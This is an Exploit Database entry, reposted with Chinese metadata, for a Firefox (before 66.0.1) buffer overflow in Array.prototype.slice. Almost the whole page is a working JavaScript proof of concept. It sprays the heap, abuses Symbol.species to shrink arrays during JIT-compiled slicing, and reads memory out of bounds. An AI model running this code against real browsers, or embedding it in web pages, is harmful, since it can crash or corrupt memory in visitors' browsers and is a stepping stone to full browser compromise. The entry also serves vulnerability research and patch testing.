Firefox < 66.0.1 - 'Array.prototype.slice' Buffer Overflow

• Exploit Database
• 13 阅读

• 作者： xuechiyaobai
  日期： 2019-03-26
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/46605/

• <script>
  
  let size = 64;
  
  garr = [];
  j = 0;
  function gc(){
  	var tmp = [];
  	for(let i = 0;i < 0x20000;i++){
  		tmp[i] = new Uint32Array(size * 2);
  		for(let j = 0;j < (size*2);j+=2){
  			tmp[i][j] = 0x12345678;
  			tmp[i][j+1] = 0xfffe0123;
  		}
  	}
  	garr[j++] = tmp;
  }
  
  let arr = [{},2.2];
  
  let obj = {};
  
  obj[Symbol.species] = function(){
  	victim.length = 0x0;
  	for(let i = 0;i < 0x2000;i++){
  		gvictim[i].length = 0x0;
  		gvictim[i] = null;
  	}
  	gc();
  	//Array.isArray(garr[0][0x10000]);
  	return [1.1];
  }
  
  let gvictim = [];
  
  for(let i = 0;i < 0x1000;i++){
  	gvictim[i] = [1.1,2.2];
  	gvictim[i].length = size;
  	gvictim[i].fill(3.3);
  }
  
  let victim = [1.1,2.2];
  victim.length = size;
  victim.fill(3.3);
  
  for(let i = 0x1000;i < 0x2000;i++){
  	gvictim[i] = [1.1,2.2];
  	gvictim[i].length = size;
  	gvictim[i].fill(3.3);
  }
  
  function fake(arg){
  }
  for(let i = 0;i < size;i++){
  	fake["x"+i.toString()] = 2.2;
  }
  
  function jit(){
  	victim[1] = 1.1;
  	arr.slice();
  	//fake.x2 = 6.17651672645e-312;
  	return victim[2];
  }
  
  flag = 0;
  
  
  for(let i = 0;i < 0x10000;i++){
  	xx = jit();
  }
  
  arr.constructor = obj;
  
  Array.isArray(victim);
  alert(333);
  alert(jit());
  </script>